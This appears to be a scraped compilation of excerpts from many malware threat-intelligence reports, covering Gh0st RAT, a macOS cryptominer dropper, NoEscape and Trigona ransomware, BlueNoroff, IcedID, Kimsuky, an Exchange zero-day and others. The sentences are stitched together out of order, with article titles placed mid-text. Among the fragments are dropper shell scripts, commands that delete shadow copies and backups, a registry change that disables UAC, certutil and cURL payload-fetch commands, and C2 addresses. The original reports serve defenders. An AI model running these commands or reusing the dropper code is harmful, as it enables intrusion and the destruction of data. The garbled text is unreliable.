Found in Environments Protected By: Proofpoint By Nathaniel Raymond, Cofense Intelligence Gh0st RAT, a decades-old open-source remote administration tool (RAT), recently appeared in phishing campaigns targeting a healthcare organization.

OpenSource Gh0st RAT Still Haunting Inboxes 15 Years After Release


Although Ghost RAT has a history of use by nation-state threat actors, Cofense Intelligence does not have conclusive evidence that this recent campaign is associated with known nation-state activity.


The activity we observed activity shares certain characteristics with some advanced persistent threat (APT) groups, including APT27, which is known for intellectual property theft against healthcare and technology companies, and is also known for the use of Gh0st RAT.


Indicators of Compromise Files 1680478346389.zip MD5: 9e6c45b6b8b20bf3c5959dbba8f27117 LiveUpdate360.dat MD5: f149d3f3ef0361ebe4d346811f29b527 LiveUpdate.exe MD5: 96e4b47a136910d6f588b40d872e7f9d setting.ini MD5: 91aab4bbe634be62d11d132738c23a82 SqlVersion9.dll MD5: 317f9ff06c076e87e5b1d11242396d5f ú¿╡τ-╫╙-╖ó-╞▒ú⌐.exe MD5: 4723a2a8f68c1eaf82809cff29b8e56f URLs hxxps://api[.]youkesdt[.]asia/admin/down/hash/79b7c6ed-c4d8-4b36-b1cd-f968e6570010 hxxp://datacache[.]cloudservicesdevc[.]tk/picturess/2023/SqlVersion9[.]dll hxxp://datacache[.]cloudservicesdevc[.]tk/picturess/2023/Media[.]xml hxxp://datacache[.]cloudservicesdevc[.]tk/picturess/2023/LiveUpdate360[.]dat hxxp://datacache[.]cloudservicesdevc[.]tk/picturess/2023/LiveUpdate[.]exe hxxp://datacache[.]cloudservicesdevc[.]tk/picturess/2023/223[.]114[.]txt Command and Control hxxp://61[.]160[.]223[.]114:18076 All third-party trademarks referenced by Cofense whether in logo form, name form or product form, or otherwise, remain the property of their respective holders, and use of these trademarks in no way indicates any relationship between Cofense and the holders of the trademarks.


The Cofense:registered: and PhishMe:registered: names and logos, as well as any other Cofense product or service names or logos displayed on this blog are registered trademarks or trademarks of Cofense Inc.


The CrowdStrike Falcon platform provides continuous protection against cryptomining threats by delivering real-time visibility across workloads to protect customers.

CrowdStrike Uncovers I2Pminer MacOS Mineware Variant


Technical Analysis This campaign lures the victim into believing that they are installing a legitimate application for successful execution.


It is typical for DMGs to instruct users to drag and drop application bundles from the mounted disk image to the application folder.


Therefore, it executes when the application bundle is launched.


Both of these methods produce files with the syntax of ._[a-zA-Z]{8} (e.g., ._JdYdPLMq).


In order to appear as a working copy of Logic Pro X, the dropper contains a legitimate copy of the lure application.


The dropper starts by generating a script to decode the legitimate Mach-O file.


In order to unpack the legitimate binary, the previously written Base64 file is decoded and unarchived.


The contents are saved to /tmp/._[a-zA-Z]{10}/Logic Pro X.app/Contents/MacOS/Logic Pro X.


The dropper then forks itself in order to launch the legitimate application.


The forked process makes a call to execl to execute the legitimate Logic Pro X application located in /tmp/.


Usage of i2pd enables other processes on the computer to tunnel traffic to the I2P network.


I2P is configured and used by the dropper to download the mining tooling but also to proxy the miner’s network communications.


The script is executed as a /bin/sh subprocess.


This is done to evade detection but also to open up the opportunity to reuse the same randomly generated filename for the actual i2pd binary.


The dropper generates and executes a script to download, configure and execute a copy of a XMRig miner.


After this file is detected, the XMRig downloader starts a second I2P Daemon process and saves the new pid to /tmp/i2pd.


The script then enters a download loop that contains two subloops, one to download the MD5 hash of the XMRig payload, and a second to download the XMRig payload.


Similar to the ip2d process, it is executed via an exec -a call utilizing a process name of /System/Library/Frameworks/CoreServices.framework/Frameworks/Metadata.framework/Versions/N/Support/mdworker_local Next, the XMRig Download Script sends the XMRig miner a config via the XMRig miner’s native API.


The script enters a final loop to once again check for the presence of an Activity Monitor process.


This is also a universal binary supporting both x86_64 and ARM architectures.


Defense Evasion The dropper binary and its scripts utilize a number of techniques to avoid detection.


The i2pd and XMRig binaries are padded with a random number of zero bytes to change its hash and expand its size.


They also both use CoreServices framework binaries as the execution name.


These variants are distributed by a malicious application bundle that contains a setup script, legitimate application and Mach-O dropper.


The variants utilize the same variable names and directory naming schema, and also date back to Summer 2021.


It was discovered that some preventions already applied to the variants before it was known to our researchers.


To reinforce the layered approach, our teams have since added even more coverage, resulting in several preventions that apply to various stages in the chain.


MITRE ATT&CK Framework Tactic Technique Description Execution Command and Scripting Interpreter:


Command and Control Protocol Tunneling (T1572) XMRig download and mining communications are tunneled through the I2P network layer.


"$TMPDIR";( find "$SCRIPTPATH" -type d -mindepth 1 -maxdepth 1 -exec ln -s


-rf "$APP_MACH";CT=$(mktemp /tmp/._XXXXXXXX);cat "$BLOB_PATH" | base64 -o "$CT" -d;tar -xf


"$0";rm -rf "$I2PCTMPFILE";chmod +x "$0";(( exec -a "/System/Library/Frameworks/CoreServices.framework/Frameworks/Metadata.framework/Versions/N/Support/mdworker_shared" "$0" ) & echo $! >


/dev/null 2>&1;pkill


tar -xf "$d_p" -O > "$TMPFILE"; rm -rf "$d_p"; mv "$TMPFILE" "$d_p"; head -c $rnd_sz /dev/zero >>


"$d_p"; chmod +x "$d_p"; (( exec -a "/System/Library/Frameworks/CoreServices.framework/Frameworks/Metadata.framework/Versions/N/Support/mdworker_local" "$d_p" ) & echo $! >


"/tmp/i2pd/._pid"); PIDW=$(cat "/tmp/i2pd/._pid") && rm -rf "/tmp/i2pd/._pid"; sleep 9; XARCH=$(uname -m); [[ "$XARCH" == "x86_64" ]] && HP=true ||


/dev/null 2>&1; [ "$PIDW" !


In addition to sharing the dashboard panel image, the security researcher also provided images of the RaaS builder page and accompanying samples associated with this specific ransomware family.

Evasive NoEscape Ransomware Uses Reflective DLL Injection


This flexibility allows affiliates to tailor their approach and encryption strategy based on their specific requirements or preferences.


Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = “0” Kill Processes/Services After bypassing UAC, the ransomware terminates several processes, including 360doctor, GDscan, RTVscan, Apache, CCleaner, OneDrive, and others, if they are currently running on the victim’s machine.


Following this, the malware proceeds to drop a ransom note named “HOW_TO_RECOVER_FILES.txt” in multiple directories.


Figure 8 – MoveFileW() API


Figure 9 – Files encrypted by NoEscape Ransomware Delete System Backup & Shadowcopy Additionally, the ransomware runs a series of commands to delete shadow copies and system backups, effectively preventing file recovery attempts.


CommandsDescriptionwmic SHADOWCOPY DELETE /nointeractiveThis command uses the Windows Management Instrumentation Command-line (WMIC) to delete all shadow copies without user interaction.


It helps remove any remaining shadow copies that may not have been deleted by the other commands.wbadmin DELETE SYSTEMSTATEBACKUP -deleteOldestThis command uses the wbadmin tool to delete the oldest system state backup.


{default} bootstatuspolicy ignoreallfailuresThis command also uses bcdedit to modify the boot configuration data.


Each of these files serves specific purposes and contributes to the overall functionality of the Linux variant of the ransomware.


Its purpose is to increase the maximum number of open file descriptors and the maximum number of allowed processes.


It then calls ExecPayload() for each file to execute the Ransomware payload, thereby initiating the encryption process.


Cleanup() – This function performs cleanup operations after encrypting files in the victim’s machine.


Ransomware Targeting Vmware ESXi Servers The “script_esxi.sh” script is designed to automate the execution of ransomware payload “164f8295_linux.elf” on ESXi servers.


It also kills any remaining processes related to VMs.


ScanVMS() – This function scans VM volumes on an ESXi server.


The threat actors used certificates from Nvidia and Kuwait Telecommunications Company to sign their malware; the former was already leaked, but we’re not sure how they got their hands on the latter.

Stolen certificates in two waves of ransomware and wiper attacks


We identified potential cooperation between different attack groups speaking different languages, and the possible use of AnyDesk as an initial entry point to start the ransomware/wiper infections.


If ransomware execution fails because the correct arguments are not supplied, the wave 2 sample displays a different message from that of wave 1; the wave 2 message resembles an error message displayed by a PDF to DOC converter.


When comparing wave 2 ransomware samples to wave 1, we notice that both have the same , and both use CreateFile and WriteFile APIs to overwrite files.


The encryption algorithm used is RC4 in both wave 1 and wave 2.


However, the RC4 key for decryption in wave 2 has been changed in another attempt to evade detection.


Wave 1 RC4 key: 8C E4 B1 6B 22 B5 88 94 AA 86 C4 21 E8 75 9D F3 Wave 2 RC4 key: F0 B4 ED D9 43 F5 C8 43 C9 D0 A2 4F 22 9B BC 3A It’s worth noting that in both waves, the RC4 decryption method uses CryptoAPI (CryptDecrypt) instead of the usual substitution box method.


Ransom note in both wave 1 and wave 2 ransomware The wiper – use of Nvidia signing certificate MD5 64cb923be15ae255b82e7ebcf24ccfc5 SHA1 e1b8b72fbd1e3b9bbf8bebd2e14a3f2e071c6048 SHA256 d8ec8ec8dfa582c44e81b8a7fcc44defc3d2fa658f75fa495124aedc3b0db367 Imphash 81CA8B811412284938148FC4F2A76C09 Link time 0x6319C758 (Thu Sep 08 03:43:36 2022)


However, in the first attack wave targeting Albania, the threat actor signed the wave 1 wiper using the Kuwait Telecommunications Company certificate, thus removing the need for a third-party loader.


In wave 1, the wiper malware expected to find the raw disk driver in the execution directory or in the system directory.


In addition, the driver being used by the threat actor in wave 2 seems to copy metadata and a few functions from Microsoft’s diskdump.sys crash dump driver[1] (version 10.0.19041.1682) as another means to avoid detections.


Finally, for defenders we can highlight two important elements from the intrusion and malware analysis presented here: Monitor for remote software activities such as AnyDesk for unauthorized use Always hunt and monitor for expired and/or leaked signing certificates as they can be used by threat actors to load and execute malware Threat detection


The detection logic has been improved in all our solutions to ensure that our customers remain protected.


Win32.Agent.gen Trojan-Ransom.Win32.Gen.aghh Trojan-Ransom.Win64.Agent.dpf Trojan.Win32.Agentb.kzkj Indicators of compromise File hashes (malicious documents, Trojans, emails, decoys) Ransomware Wiper Driver Signing certificates serial numbers 14 78 1B C8 62 E8 DC 50 3A 55


We continue to track the group’s activities and this October we observed the adoption of new malware strains in its arsenal.

BlueNoroff introduces new methods bypassing MoTW


To do this, optical disk image (.iso extension) and virtual hard disk (.vhd extension) file formats were used.


In addition, the group tested different file types to refine malware delivery methods.


Also, they created numerous fake domains that look like venture capital and bank domains.


Background At the end of September 2022, we observed new BlueNoroff malware in our telemetry.


and .vhd, to deliver their malware.


Unfortunately, we couldn’t acquire the document, but it was executed from the following path: C:\Users\[username]\Desktop\SALES


%Profile%\cr.dat Spawned command: cmd.exe %Profile%\cr.dat 5pKwgIV5otiKb6JrNddaVJOaLjMkj4zED238vIU= After initial infection, we observed several keyboard hands-on activities by the operator.


Through the implanted backdoor, they attempted to fingerprint the victim and install additional malware with high privileges.


Upon infection, the operator executed several Windows commands to gather basic system information.


The archive file we recently discovered contained a password-protected decoy document and a shortcut file named “Password.txt.lnk“.


Updated method #1: Tricks to evade MOTW flag We observed that the actor examined different file types to deliver their malware.


In order to avoid this mitigation technique, more threat actors have started abusing ISO file types.


The BlueNoroff group likely experimented with ISO image files to deliver their malware.


At the time of analysis, this .vhd sample wasn’t detected by any antivirus.


The malware first acquires the total size of the configuration data and the length of the payload URL from the end of the file.


They are located four bytes and eight bytes from the end of the file, respectively.


The malware decrypts the configuration data with the RC4 algorithm using an embedded 64-byte key.


timeout /t 10 & Del /f /q


timeout /t 10 & rundll32 \”[current DLL file path]\” #1 The primary objective of this malware is to fetch the next stage payload.


/y


echo {PASSWORD}>%documents%\Userlink & notepad.exe %documents%\Userlink # Fetch the payload with cURL command and execute. cmd.exe" /c


This malware (MD5 087407551649376d90d1743bac75aac8) spawns a fake password file while fetching a remote payload and executing it.


Domain IP ISP ASN offerings.cloud docs.azure-protection.cloud bankofamerica.us.org 104.168.174.80 Hostwinds LLC.


AS54290 offerings.cloud perseus.bond docs.azure-protection.cloud avid.lno-prima.lol 152.89.247.87 combahton GmbH AS30823 offerings.cloud 172.86.121.130 HIVELOCITY AS29802 www.capmarketreport.com 149.28.247.34 The Constant Company, LLC AS20473 ms.msteam.biz www.onlinecloud.cloud 155.138.159.45 The Constant Company, LLC AS20473 The actor usually used fake domains such as cloud hosting services for hosting malicious documents or payloads.


Indicators of compromise Downloader 087407551649376d90d1743bac75aac8 regsile.exe Cur1Agent downloader f766f97eb213d81bf15c02d4681c50a4 61a227bf4c5c1514f5cbd2f37d98ef5b 4c0fb06320d1b7ecf44ffd0442fc10ed d8f6290517c114e73e03ab30165098f6 Loader d3503e87df528ce3b07ca6d94d1ba9fc E:\Readme.exe 931d0969654af3f77fc1dab9e2bd66b1 Job_Description.


Visual Basic User Execution: Malicious Link User Execution: Malicious File Persistence T1547.008 Boot or Logon Autostart Execution: LSASS Driver Defense Evasion T1027.002 T1497.001 T1055.002 T1553.005 T1218.007 T1218.011 T1221 Obfuscated Files or Information: Software Packing Virtualization/Sandbox Evasion:


System Checks Process Injection: Portable Executable Injection Subvert Trust Controls: Mark-of-the-Web Bypass System Binary Proxy Execution: Msiexec System Binary Proxy Execution: Rundll32 Template Injection Command and Control T1071.001 Application Layer Protocol: Web Protocols Exfiltration T1041 Exfiltration over C2 Channel


[1] APT Intel report: BlueNoroff Launched a New Campaign To Attack Cryptocurrency Business


IcedID is a malware originally classified as a banking malware and was first observed in 2017.


In November 2022, Proofpoint researchers observed the first new variant of IcedID Proofpoint dubbed “IcedID Lite” distributed as a follow-on payload in a TA542 Emotet campaign.


attachments, which led to the Forked variant of IcedID.


Additionally, based on artifacts observed in the codebase, timing and association with Emotet infections, Proofpoint researchers suspect the initial developers of Emotet have partnered with IcedID operators to expand their activities including using the new Lite variant of IcedID that has different, unique functionality and likely testing it via existing Emotet infections.


The Lite IcedID variant has only been observed following TA542 Emotet infections, but Proofpoint cannot definitively attribute the Lite variant to TA542 as follow-on infections are typically outside of researchers’ visibility.


The following are threat actors frequently associated with IcedID. TA578 – Proofpoint has observed TA578 deliver IcedID in campaigns since June 2020.


TA577 – Proofpoint has observed TA577 use IcedID in limited campaigns since February 2021.


Example 1: IcedID Standard Campaign Proofpoint observed a campaign with over 2,800 messages on 10 March 2023.


Figure 6: Intermediate PowerShell downloader.


This pulled the next stage – the Standard IcedID Loader.


ariopolanetyoa[.]com ProjectID: 3278418257 Standard IcedID Bot Configuration: C2:


The emails were personalized to the recipient by using the recipient’s name in the greeting of the email.


These messages contained Microsoft OneNote attachments (.one).


Figure 7: Screenshot of email sample from the 3 February IcedID campaign.


Figure 8: OneNote attachment containing the “open” button that hides the HTA file.


Figure 9: Screenshot of HTA displayed in a text editor.


This campaign included two different email lures: 1) a recall notice purporting to be from the National Traffic and Motor Vehicle Safety Act; and 2) a violation purporting to be from the U.S. Food and Drug Administration (FDA).


The batch file would download and execute an IcedID loader with rundll32 using a non-standard export: "PluginInit".


Figure 19: Raw response from the loader C2 containing the encrypted bot and DLL loader.


The following shows the thread function for the Forked DLL Loader.


Figure 27: Functions that have been removed within the Forked Bot.


Figure 30: Commandline output showing the decrypted botpack structure.


Loader.dll was initially used within IcedID to refer to the Lite Loader back when it was dropped via Emotet infections in November, but that same build name is now being used within the Forked DLL Loader.


Ultimately, there seems to be considerable effort going into the future of IcedID and the malware’s codebase, including the addition of two new variants described in this report.


Proofpoint anticipates that while many threat actors will continue to use the Standard variant, it is likely the new variants will continue to be used to facilitate additional malware attacks.


We focus on the specific targeting of expert analysts of North Korean affairs by impersonating NK News and stealing NK News credentials, and provide details on used TTPs to support collaborative hunting and detection efforts.

Kimsuky Strikes Again  New Social Engineering Campaign Aims to Steal Credentials and Gather Strategic Intelligence


A hallmark of the activity we discuss in this post is Kimsuky’s focus on establishing initial contact and developing a rapport with their targets prior to initiating malicious activities.


As part of their initial contact strategy, the group impersonated Chad O’Carroll, the founder of NK News and the associated holding company Korea Risk Group, using an attacker-created domain, nknews[.]pro, which closely resembles the legitimate NK News domain nknews.org.


The article contains visible edits to give the impression of a genuine draft article, aligning with Kimsuky’s luring tactic.


Google document The spoofed destination of the URL redirects the target to an attacker-created website that masquerades as a legitimate Google Docs site for requesting document access, such as https[://]drive-google[.]shanumedia[.]com/pdf/ul/ji78fghJHKtgfLKJIO/s2.php?menu=ZGFu[...]vbQ== The Base-64 encoded segment, that is, the value of the menu URL query parameter, resolves to the target’s email address.


Phishing Email The fake login site, hosted at https[://]www.nknews[.]pro/ip/register/, features a login form with the standard web elements, such as Sign In, Sign Up, and Forgot Password?


Serial number: 00f342582c9a299acf2452aaf5115c5be0


Fake NK News login site https[://]www.nknews[.]pro/ip/register/login[.]php Website impersonating NK News: NK News credential theft endpoint https[://]staradvertiser.store/piece/ca[.]php ReconShark payload hosting endpoint https[://]staradvertiser.store/piece/r[.]php ReconShark C2 server endpoint 162.0.209[.]27 Website impersonating NK News, ReconShark C2 server: IP address 4150B40C00D8AB2E960AA059159149AF3F9ADA09 Malicious document (password-protected): SHA1 hash 7514FD9E5667FC5085373704FE2EA959258C7595 Malicious document: SHA1 hash 41E39162AE3A6370B1100BE2B35BB09E2CBE9782


However up to now, GTSC has seen other customers also experiencing the similar problem.

Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server


However at this time, we would like NOT to release technical details to implement RCE yet.


<%@Page


Convert.


[S]&cd&echo [E] "cmd" /c cd /d "c:\\PerfLogs"&certutil.exe -urlcache -split -f


[S]&cd&echo


Unfortunately, during the response process, the above files no longer exist on the compromised system, possibly due to the hacker’s evidence deletion.


The cm.exe file that is dropped into the C:\PerfLogs\ folder is the standard Windows command line tool cmd.exe.


Malware Analysis DLL information File name: Dll.dll Sha256: 074eb0e75bb2d8f59f1fd571a8c5b76f9c899834893da6f7591b68531f2b5d82 45c8233236a69a081ee390d4faa253177180b2bd45d8ed08369e07429ffbe0a9 9ceca98c2b24ee30d64184d9d2470f6f2509ed914dafb87604123057a14c57c0 29b75f0db3006440651c6342dc3c0672210cfb339141c75e12f6c84d990931c3 c8c907a67955bcdf07dd11d35f2a23498fb5ffe5c6b5d7f36870cf07da47bff2 DLL analysis GTSC analyzes a specific sample (074eb0e75bb2d8f59f1fd571a8c5b76f9c899834893da6f7591b68531f2b5d82) to describe the behavior of the malicious code, other DLL samples have the similar tasks and behaviors, differing only in listener configuration.


Results returned from Run.m.i will be coverted to a base64 string.


" } Class m Method


This method is responsible for collecting system information.


- In Autodiscover at FrontEnd select tab URL Rewrite, select Request Blocking - Add string “.*autodiscover\.json.*\@.*Powershell.


Windows Command Shell Execution T1047 Windows Management Instrumentation Persistence T1505.003 Server Software Component: Web Shell Defense Evasion T1070.004 Indicator Removal on Host: File Deletion Defense Evasion T1036.005 Masquerading: Match Legitimate Name or Location Defense Evasion T1620 Reflective Code Loading Credential Access T1003.001 OS Credential Dumping:


As authorities across multiple countries continue to implement sanctions and openly communicate current trends to the public, threat groups increasingly resort to rebranding or creating similar variants under different names to sidestep crackdowns and obfuscate their identities.

Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family


Close inspection of host origins and prominent file similarities used in both TZW and GlobeImposter campaigns suggest that actors behind GlobeImposter are updating their payloads and obfuscating their infrastructure in a manner consistent with a rebrand effort.


However, these are all part of the same umbrella malware family.


For example, in 2017 GlobeImposter was distributed via the Necurs botnet.


This is a known marker present across GlobeImposter variants.


GlobeImposter shadow copy removal highlights.


The interfaces and required steps are identical: GlobeImposter Victim Portal 2 from late 2022 onward.


At the time of writing, both victim portals remain active.


obzuqvr5424kkc4unbq2p2i67ny3zngce3tbdr37nicjqesgqcgomfqd[.]onion tzw7ckhurmxgcpajx6gy57dkrysl2sigfrt6nk4a3rvedfldigtor7ad[.]onion linux[.]3bcd0a[.]com Vhosts on GlobeImposter victim portal.


Conclusion Based on our analysis, the TZW ransomware recently documented by AhnLab is yet another example of the threat actors behind GlobeImposter pivoting their TTPs alongside a rebrand, including a new but related Onion address.


While the threat actors attempted to masquerade the activity as a standard ransomware campaign, the unrecoverable actions show destruction and disruption were the ultimate goals of the operation.

MERCURY and DEV1084 Destructive attack on hybrid environment


MERCURY likely exploited known vulnerabilities in unpatched applications for initial access before handing off access to DEV-1084 to perform extensive reconnaissance and discovery, establish persistence, and move laterally throughout the network, oftentimes waiting weeks and sometimes months before progressing to the next stage.


Microsoft assesses with high-confidence that the vatacloud[.]com domain is controlled by MERCURY operators.


Microsoft assesses that MERCURY gains access to the targets through remote exploitation of an unpatched internet-facing device.


and it is created with a long complex password.


In addition, during installation, an Azure AD account called the Azure AD Connector Account is also created.


Investigating this sign-in showed that the threat actors were able to access the account on the first attempt without any guessing or modification of the password, indicating that the actors possessed the password for this account.


Cloud destructive impact On the day of the ransomware attack, the threat actors executed multiple actions in the cloud using two privileged accounts.


For the second account, which also had Global Administrator permissions, the threat actors leveraged RDP for access into the account.


Even though this account had MFA in place, the threat actors accessed it through RDP, which is an open session that evades MFA blocking their activities.


Threat actors granting access to send emails on behalf of the target’s account Emails were then created and sent both internally and externally.


Detections Microsoft 365 Defender


Cloud-based machine learning protections block most new and unknown threats.


Mercury actor activity detected Ransomware-linked emerging threat actor DEV-1084 detected Reducing the attack surface Microsoft Defender for Endpoint customers can turn on the following attack surface reduction rule to block or audit some observed activity associated with this threat: Block executable files from running unless they meet a prevalence, age, or trusted list criterion.


ResultStatus =~ "success" | extend UserId = tostring(RawEventData.UserId)


Microsoft Defender Threat Intelligence Community members and customers can find summary information and all IOCs from this blog post in the linked Microsoft Defender Threat Intelligence article.


It seems, that the file must be in an on PATH folder, to get directly opened.

ZipJar a little bit unexpected attack chain


So if you write the name of a zip file in the bar, it will open the default browser and go to that page.


an opened WebDAV folder As it can be seen in the screenshot, the URL changes a bit.


Bypassing execution blocking After playing with some file extensions, it turns out that this protection is not bulletproof.


Note: Those files will still get executed, if the user clicks on run!


Some Copy&Pasted code later a minimalistic and very simple approach to execute a binary was ready.


import java.io.


However, if a calc.exe is in the same folder, it will execute that binary, thanks Windows Search Path.


, I still found this a little bit surprising and wanted to share.


To start the loading chain after installation, it creates a one-time scheduled task.

Whos swimming in South Korean waters Meet ScarCrufts Dolphin


For unknown reasons, the command to retrieve specific files from portable devices was removed.


Screenshots are also taken at a configurable interval; the default is once every 30 seconds.


The shellcode is stored in the registry, under one of the following keys: HKCU\Software\Microsoft\Windows\CurrentVersion\Themes\Classic\<random_number> HKCU\Software\Microsoft\OneDrive\Update\<random_number> HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\HttpsSoftware\Microsoft\Internet Explorer\Zone\<random_number> (two subkeys as one, likely a coding error)


Shell commands Dolphin can execute shell commands; this is done via the popen API and their output is retrieved.


The following browsers are supported: Chrome Edge Internet Explorer In version 2.2, this capability was removed, presumably to avoid detection.


First, it enables access to Gmail via the IMAP protocol by sending an HTTP POST request to: https://mail.google.com/mail/u/0/?ik=<GM_ID_KEY>&at=<GM_ACTION_TOKEN>&view=up&act=prefs


The backdoor also maintains a list of files in the form of MD5 hashes, in order to avoid uploading the same file multiple times.


An example of a decrypted configuration is shown in Figure 3.


Figure 4 summarizes the versions seen; a more detailed description of the version changes is provided below.


Previously, it was just for removable drives; fixed drives were disabled by default and the code used for accessing portable devices was buggy and broken. December 2021 – version 2.2 Changes introduced in version 2.2 focused mainly on detection evasion.


January 2022 – version 3.0


The base64-encoded strings were plaintext again in this version.


UYODolphin backdoor version 3.0 (x86) 2C6CC71B7E7E4B28C2C176B504BC5BDB687C4D41N/AWin64/Agent.


Credential AccessT1555.003Credentials from Password Stores: Credentials from Web BrowsersDolphin can obtain saved passwords from browsers.


T1518.001Software Discovery: Security Software DiscoveryDolphin obtains a list of installed security software.


T1016System Network Configuration DiscoveryDolphin obtains the device’s local and external IP address.


T1016.001System Network Configuration Discovery: Internet Connection DiscoveryDolphin checks internet connectivity.


T1119Automated CollectionDolphin periodically collects files with certain extensions from drives.


T1567.002Exfiltration Over Web Service: Exfiltration to Cloud StorageDolphin exfiltrates data to Google Drive.


30 Nov 2022 - 11:30AM


By: Daniel Lunghi March 01, 2023Read time: ( words) Save to Folio Subscribe Iron Tiger is an advanced persistent threat (APT) that has been focused primarily on cyberespionage for more than a decade.

Iron Tigers SysUpdate Reappears Adds Linux Targeting


We strongly advise organizations and users in the targeted industries to reinforce their security measures to defend their systems and stored information from this ongoing campaign.


Oldest Linux sample gets uploaded to Virus Total We observed that the attacker registered the oldest domain name one month before starting the C&C configuration then waited one more month before compiling the malicious sample linked to that domain name.


The rc.bin file is a Shikata Ga Nai encoded shellcode that decompresses and loads the first stage in memory.


We identified the executables and sideloaded files as follows:


This results in six bytes — four for the random number, two for 0x2191 — and encodes the result further with Base32 algorithm using the alphabet “abcdefghijklmnopqrstuvwxyz012345”.


Looking at Figure 2, the contacted domain name is after "TXT"; only the first four letters change as the rest of the encoded series is always the same.


If the C&C reply matches the format expected by the malware, it launches multiple threads that handle further commands and sends information about the infected machine.


We continue monitoring this group and malware family for updates on possible variations of C&C communication protocols being abused.


We analyzed them and concluded that the files were a SysUpdate version made for the Linux platform.


Some parameters can be passed to the binary (note that “Boolean” refers to Boolean data that is sent to the C&C):


Then, the malware retrieves information on the compromised computer and sends it to the C&C. The following information is sent to the C&C, encrypted with a hardcoded key and DES CBC algorithm: GUID Host name Username Local IP address and port used to send the request Current PID Kernel version and machine architecture Current file path Boolean (0 if it was launched with exactly one parameter, 1 otherwise)


Certificate compromise Another interesting part of this campaign is the fact that some of the malicious files are signed with a certificate with the following signer: “Permyakov Ivan Yurievich IP”.


It appears that the threat actor managed to retrieve the private key allowing him to sign malicious code.


Using stolen certificates to sign malicious code is a common practice for this threat actor, as we already highlighted in 2015 and in all our recent investigations.


Infection vector We did not find an infection vector.


But they also have other customers in industries such as gaming, IT, media, construction, and retail, apparently all located inside China.


This suggests that some chat application named “i Talk” might be repackaging components from the official Youdu client along with malicious executables.


It appears that a chat application was used as a lure to entice the victim into opening the malicious file.


In general, the features were simple; the malware decrypts the saved passwords to a file named “passwords.txt”, and the cookies to a file named “cookies.txt”.


It then copies the “Login Data” file to a temporary file “chromedb_tmp”, issues an SQL query to extract the URL, login, and password fields from the file, and then decrypts them and appends the result to the “passwords.txt” file.


We found two other samples from this stealer: One compilation date indicated an executable built in November 2020, and the other one in December 2021, although those dates could be tampered with.


We also attempted to notify the company of this incident through all their listed channels but have received no feedback.


Conclusion This investigation confirms that Iron Tiger regularly updates its tools to add new features and probably to ease their portability to other platforms, verifying the interest we found from this threat actor for Linux or Mac OS.


In 2022, we discussed a campaign targeting Taiwan and the Philippines that made use of HyperBro samples (detected by Trend Micro as Backdoor.


This was followed by the threat actors moving laterally throughout the environment using an admin account.

Unwrapping Ursnifs Gifts  The DFIR Report


It has an extensive past of code forks and evolutions that has lead to several active variants in the last 5 years including Dreambot, IAP, RM2, RM3 and most recently, LDR4.


The threat actor first ran some initial discovery on the host using built-in Windows utilities like ipconfig, systeminfo, net, and ping.


The Cobalt Strike server in this case was added to our feed on July 18, 2022, over 2 months before it was used in this case.


Execution Once the user had mounted the ISO and the LNK file was executed by the user, the complex execution flow started.


This script called a combination of QueueUserAPC, GetCurrentThreadId, OpenThread, and VirtualAlloc to perform process injection of shellcode stored in Base64.


The event log Microsoft-Windows-Bits-Client%254Operational.evtx corroborated this activity: The activity following this event demonstrated a clear distinction of the threat actor performing discovery manually.


Persistence Once the foothold had been achieved, after execution of Ursnif on the beachhead host, persistence was achieved by creating a ‘Run’ key named ManagerText which was configured to execute a LNK file which executed a PowerShell script.


"net view >>


"net config workstation >>


"nltest /domain_trusts /all_trusts >>


net user <REDACTED>


The threat actor also used a batch script to collect a list of all computer objects on the domain using C:\Windows\system32\cmd.exe /C adcomp.bat which contained the PowerShell command: powershell Get-ADComputer -Filter * -Properties Name,Operatingsystem, OperatingSystemVersion, OperatingSystemServicePack,IPv4Address >> log2.txt During the final actions taken by the threat actors before eviction, after completing RDP connections to various hosts on the network, the threat actors checked running processes on the accessed hosts via taskmanager, which were started via their interactive RDP session as noted by the /4 command line argument.


Remote Desktop Protocol - T1021.001 Windows Management Instrumentation - T1047 Domain Account - T1087.002 Process Injection - T1055 Asynchronous Procedure Call - T1055.004 Registry Run Keys / Startup Folder - T1547.001 Remote Access Software - T1219 Web Protocols - T1071.001 Lateral Tool Transfer - T1570 Exfiltration Over C2 Channel - T1041 Internal case #17386


However, it’s unlikely OneNote has been completely abandoned and it remains probable that threat actors will continue to iterate on the technique to extend its shelf life.


The CMD file contains commands which use certutil (renamed here as slaughterhouse.exe) to decode Qakbot’s DLL (brainstorms.sql).


Victims can be lured into clicking executable content including binaries, scripts or shortcut files masquerading as benign filetypes such as PDFs or folders.


Train users to identify and report potentially malicious content using an Phishing and Security Awareness Training (PSAT) program.


Affected organizations are in the manufacturing, finance, construction, agriculture, marketing and high technology industries.

BeeWare of Trigona An Emerging Ransomware Strain


Malware samples were passed to BleepingComputer, which in turn published a blog post on the ransomware on Nov. 29, 2022.


One key executes the ransomware binary whenever the user logs in, ensuring that the encryption process would resume upon reboot.


The contact email shown below in Figure 2 is phandaledr@onionmail[.]org.


We also identified two new Trigona ransom notes in January 2023 and two in February 2023.


Trigona ransomware has been linked to compromises impacting multiple organizations worldwide, in sectors including manufacturing, finance, construction, agriculture, marketing and high technology.


We identified that 45.227.253[.]99 hosted a web server between Dec. 6, 2022, and Jan. 27, 2023.


On Feb. 13, 2023, 45.227.253[.]106 started hosting a web server with the HTML title Trigona Leaks that was active until March 3, 2023.


As shown in Figure 3, each post contained the following information: A description of the company The victim’s ZoomInfo page A description of the stolen data Links to screenshots of example files A countdown timer A button to bid for the data.


Security researchers at Arete Incident Response recently observed Trigona leveraging BlackCat’s reputation and data leak site to pressure and extort victims.


It’s unclear whether Victim 1 was impacted by Trigona.


Unit 42 assesses with high confidence that Victim 3 was impacted by Trigona.


The countdown timers of over 300 days for Victims 1, 2 and 4 were well beyond the usual timeframe that we have observed in incident response cases where attackers demand payment, which is between two and four weeks.


The leak site is no longer available on the surface web Figure 4.


Both ransomware families also drop ransom notes in HTML Application format, named how_to_decrypt.hta.


There are also similarities in the ransom message, including: Their claim that all “documents, databases, backups, and other critical” files and data were encrypted AES as their choice of cryptographic algorithm Their statement that “the price depends on how soon you will contact us” Tools and Techniques Unit 42 has seen evidence of malicious activity associated with Trigona originating from a compromised Windows 2003 server, followed by the threat operators executing NetScan for internal reconnaissance.


